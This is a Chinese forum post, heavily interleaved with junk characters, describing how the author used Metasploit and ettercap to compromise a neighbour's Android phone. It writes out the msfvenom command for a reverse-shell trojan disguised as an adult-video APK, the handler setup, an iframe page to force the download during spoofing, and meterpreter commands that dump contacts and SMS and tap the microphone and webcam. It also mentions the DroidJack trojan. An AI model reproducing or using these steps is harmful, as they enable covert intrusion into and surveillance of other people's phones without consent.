|
) b: C; g$ @0 |) g' c; l4 S
五、msf+ettercap入侵邻居安卓手机
" V' z2 |4 ^7 h( J. \) m * O) S0 V0 M, D& H
# m; f! N5 n$ L8 M3 \! D- ] 首先启动msf " e7 k: c% a1 |# n
9 E+ A* t' j, j% D& E1 [3 Z( @
6 o. [- u9 w7 @& w 先用kali生成一个安卓木马，如下命令： ) v' }( V' M1 |: _. f" r. Q |
; c V# q# ^) }0 v* T/ M% K- e; _8 s/ `, _
Msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.109 LPORT=44444 -o ~/Desktop/ribenav.apk
8 S P) x0 [6 m- B- e. @
( Y8 v% V2 V! Z, m9 e0 n
0 z# m7 B9 P8 U0 _! ^2 R7 I6 W# Z  为了能让对方下载以后安装我这里将马的名字命名为ribenav.apk,哈哈邻居可是个“大色鬼”，就不适用替换下载的方法了，据我所知，邻居频繁使用手机浏览器浏览新闻 ) r- I" b! ^9 B/ @8 n/ m
& Q! \ e) N, z& h) b6 `
* Q$ I* K% k' ]! v$ T5 w& H7 a 然后进入msf ) }4 R: o- X, T5 o
1 P7 b9 v" D) y
7 `. y% y- d2 q& [) g use exploit/multi/handler 9 @* c$ Z+ L" P$ R; a
: M2 y _" Q/ c1 M% V+ ]6 Z3 Z- C: H1 |2 S, ~% S3 R
set payload android/meterpreter/reverse_tcp / W: U; H$ M3 D. ?2 j
4 j6 }8 ^( I/ y9 j7 {
+ u: {/ P2 F: _
set LHOST 192.168.0.109 //ip为kaili的ip
+ A9 \; r, ~, `! @
- x2 v1 l# H2 x. x. T1 a, a4 V# ` m, `$ A# c: w' i8 A; V
set LPORT 44444 //端口一定要与前面生成的木马的端口一致 - s2 t8 ]( ~7 ?+ k9 }9 M8 K3 s
/ W7 ~) L' p& O; d/ B
: i+ p3 \8 r1 K1 F- N Exploit / ]8 ^, e; c6 x# Y) D7 |. Z2 |- w
( K$ H1 G7 e! i' b
; K, A" k9 X5 N8 s0 |  p+ D. G: |% g0 @* ~8 r
/ P( ?: Y* Y1 {3 H/ p
+ n" ^' }6 n4 q j. h
下面我们开启ettercap -G
! B& Z; c2 x y4 p* y* h/ A . l6 o4 T6 v7 e, E. ]2 H; M
2 Q; o H) Q9 W
我物理IP为
8 c+ A- I2 m5 G- R* c* H 3 R9 t3 |& r0 c8 e
: l9 v- P: |' n L: M  : L* L5 x0 l5 F% E% T
& G! s8 H4 M2 `3 p4 u
. u& t8 d0 C# H; v' n. [/ y
别到时候再把我物理机欺骗了，之前测试物理机只装腾讯管家是可以成功欺骗的，
" |9 @( w5 m, h+ l) X& T3 I$ x
0 C0 V, s6 m l& s; _( s4 R% c1 i& ^3 f* w: Y4 v
下面我们来设置一下
. h6 x& B3 Y! J- F! J3 `% `: A
3 P# W6 m6 o" g/ A2 w: r+ ?: T# [' Z. A+ l. }- |$ s1 {
 9 G+ H: `. ?" A# s, d
7 [) \: Z; n G
2 `/ G. w5 u8 d/ F, o 在开启欺骗之前我们先把生成的apk马丢到kaili var/www/html下，并创建一个index.htm文件内容为：<iframe src=http://192.168.0.109/ribenav.apk></iframe>,因为apk文件嘛要想直接提示下载，用iframe语句就OK了， , b6 S) y5 ]! Q0 ^2 v2 g
3 O: ]: j; V" m! d0 E$ M, R% {. V O6 x- G" v- @: F5 H
6 ?# s1 S. Q' _8 R. J1 U $ Q3 o5 F$ B( F# Y: D: _
) I% a$ _& B, _: b
6 s$ k; A0 m c% g/ N) u0 ~
3 s( l# {- p3 }5 ]! ?2 Y
{ w6 f' Y7 @# S6 m/ R% z 2 I' I" ^3 y6 r
) {- u T, P5 p& S& o w3 N# t H" }& P. p! q
8 G2 G3 T, I; `* p& p+ s
2 T$ I) h# p; `1 b+ y7 z* L! E7 ~" e# n, a
7 T. T; G' ]% U( q" _. B& w
9 h1 {+ F1 c8 p. t
8 S' _* _& d/ |, M" ]6 C9 S ! B" m* e* h1 \3 X# D7 f" D ^5 |# r
+ c. m' F/ i; Z* | ~
: { i' W) V! T8 x- o * }. {7 E6 g* r( c( G' T
1 P- W- H1 A, B( c0 G+ c5 P
" j# _* u7 C4 Z' f; f; U' z0 D + X, u+ e9 J0 I1 M B& z
- s" u. d; {7 ~# K
: C& N5 }4 `. w& R7 I1 Y
M% J7 N* x* j: `
^! x4 | y6 V5 B" C* b" H
2 |9 z# t; I3 p8 D" @- f
- G- r. o& G8 K / ] ?2 r# Z M/ U2 l, `
( y `2 S3 }' S* G1 ~. [' v1 \" Z
# N( q4 S. m1 l4 k& ?
$ f2 z# w0 u, j7 m3 f
6 a" @+ D% s3 S& U7 T( V7 h8 h- D1 B L
/ q( b# ]# b5 E9 R, S ( u+ ~1 R& R4 t1 W( B
1 s L9 u( x9 E0 w8 Y 
7 o* k: I A$ c% g
3 j0 m4 U1 Y$ Z- X- ?, Q: g5 ]( d; K( v
下面我们开始攻击 0 I/ I* n( _# w" F6 u
! {( F( Q0 z" R, Z! t$ z( h, i: A! m' L9 a. K0 Z0 H0 v
/ H) g3 [8 H0 t9 K; ? ! U; S/ Y4 x5 c# `0 G6 c( x
) X1 D5 _) z- W; a+ F( c7 N) E5 ~
, F! p2 f4 u, z* ^0 B
5 X, u( a* G2 Q( c; N5 M/ R5 W. A4 e, X7 A, q1 e; _8 t6 _# ~0 B) D
/ M r* C1 i7 Y' o4 j9 b * O" @1 b9 V, @! q0 O1 Z
1 `# W& V7 _, T- e2 w2 ^( L: x
: F% z- j( ]* g: P # p7 F ~ x" | o) I, l& s
9 U) c* |/ \' V, i4 K4 @" t7 ]& m  3 w ]: G& D* H3 O8 _
" l4 x( E3 s$ K7 T( n p; R+ h0 m$ o; N9 }
大概过了5分钟多，发现反弹成功了 6 B8 r3 |- M5 {1 u
0 P6 Z- r; J/ o7 z8 ?: h& B
$ l) M. W$ ]' p5 r
% C6 Y* x9 X& B% d! c+ i' l
, B$ Q+ X) S) U7 W% I5 l
7 N8 _5 b" |2 U. H9 V1 ~& B
4 m, a4 _3 [) G6 D# A v' Q* R
7 {2 y/ \% `, i/ y. M
8 I) V$ k* o$ Y9 I
1 W! y/ l; H9 b0 v* D* B9 n
: k' q% P% y" _9 X. [2 [7 J$ _! `2 `# b' m3 y }# u2 L6 p; U6 X
3 U9 `8 u8 h1 b- k$ y
! ~ Z, Q2 X: p
) R! S3 f* b8 M
" I& x+ s8 {' |7 a
! E* W5 ?7 D% `- n9 E% T# I
, o- O) c- n5 l7 s' h* K- t! f
* ^6 n! D7 n( ~/ c4 H$ ?
" F: n( p- ~; i5 e# `
$ i" l7 l$ l" Q1 o9 V' Z  . o3 p1 m1 ^- H/ j
$ Z) [$ h# {* l5 y
4 A- P5 s' c3 H9 X8 Z 执行命令 # ^( K7 G8 ?6 H' @# S: |
9 @5 U( }; Q7 ?6 q/ o( c( k* t) d, U) N5 @- d
6 `0 |; ]! y" b
/ |# n) L" M) x+ Q
1 r3 X5 D' {" I7 ?5 c dump_contacts --》这个是导出电话 " E$ l9 B) @" m+ l( @& M
( E9 w4 H, |' M1 J: M# D
. |- D/ M+ T" O$ q5 Z% }7 a: x
dump_sms --》这个是导出信息 ; ~1 T, C5 h- Q! p7 M; f3 n
+ q! m2 I0 H# }( [) J5 m
4 |, g$ L! e4 ?6 D& E7 Z$ f record_mic Record audio from the default microphone for X seconds ; O: D2 H2 @, O- A
0 Y- Q! c- U8 E" E v8 t
, q/ A% g- S& C: l1 X, q" R% P2 f% O! A
webcam_chat Start a video chat
1 ]( X/ I+ A& Q2 F' A8 O 4 A9 x7 }" O( k1 C
/ Z7 D# q8 T# u5 e webcam_list List webcams
& O0 k) E4 W5 A1 @2 k; L
9 ]5 A4 c! B9 v0 W; Q& ?9 Z/ G5 \3 b6 p5 l3 p- q2 a% |
webcam_snap Take a snapshot from the specified webcam 4 M' I" g2 w" i3 s, R+ U8 J
( V; N6 W0 y( t! l
# X# j4 y3 T# C# U; x3 U webcam_stream  lay a video stream from the specified webcam
! K. y5 t" t0 u* K: V
: c6 [% S2 q3 \3 u$ e. h
) ^* S" d( E5 j4 L5 F2 z 
7 b7 C( {) U. X" t+ y
( O, u" H; x& g9 D( `! p- {% g
0 _ |( Z6 s+ H  # ?, j; h* D1 k% U
+ z8 @, w: c# f, v% h1 U+ k c1 b3 F; M% x4 k5 O
我们打开看一下电话薄，
8 [. n2 J- V- x' {) V 4 V# b0 N7 I+ H8 t# T" [# R9 Y
& s" K- c8 L' W7 S$ x
$ x8 s1 ]6 i+ X! `
4 A7 x$ d' W4 z, s2 N+ G6 [' s! L1 l( V0 X( B: v
 / Y" p: Q$ g" L. u* `2 R+ |9 c
( f5 J1 L: a3 z
! Z2 a3 z& A9 F* ~# U6 ` " f3 r j* D1 D2 @
6 C1 j) {. ?8 h# J) p
" J' j' Q7 u, x f# E& N6 T 
2 x. f0 ]2 j2 W) Z8 y
* v* @, J2 M) T I
1 m3 O, @8 O/ D# ~- y: j0 M 
; }# E' L! t( b' P; V/ o8 s( y) Y # D! Z( B; }% w' j0 e( B
5 k+ w2 q p1 t
" S( M1 H. J. y$ P- p4 P ' N5 q* Q% b4 u" N3 X
7 ~, O, }& c$ ~+ j
我们同时欺骗成DroidJack木马，使用方法如图：
0 P4 n% J! \& O( k9 m$ v7 [
/ ]- U* M0 \, y- S) \5 Q; B( ^6 K. Y7 b! w n; I
 / P; }* h& X Y- r9 X. r7 }( P
- @2 f4 ^9 D! _( }3 a9 U
# d- S) J* `8 ^ % [' r; @- F& W4 w9 C
7 f3 c4 o( b ?; A! ]% \
+ ~* u W9 B; J  * W6 _2 P2 J* Z& t, g c# U: V
k5 A7 S* x! V8 I) a" y
! G5 Q( p! d: W; m; N( I6 @ 切记在前面生成完马以后记得在这里选择开关为on，并且对应前面生成马的时候的端口
# ^* e$ F) F; ?8 h
' c8 Y7 ~8 O- ~6 c6 ^1 P
+ P3 i# f! J& o! [' w4 h0 y 
8 k! B% l; \; n+ C* e% V4 k
4 f/ v) D _7 c6 r: |
: |1 [7 C5 e8 m. Q, T0 I  + }4 A: G. }2 J9 |
( C- p T$ L5 @5 d$ c- ~
$ O& O n% T o  . |' M. }/ \' i1 y9 F8 a- Z' i
$ W2 y: T( j% l
8 e. O6 W" H& h7 [   * T5 | [) v/ S+ m6 E; d# ?# O
% W$ k; a9 [! _* s6 O
3 X& T; W f4 Z E- D
- W" K$ D; ?- k5 q# ]; `2 R
| 
发表于 2018-10-20 20:30:37
收藏
支持
反对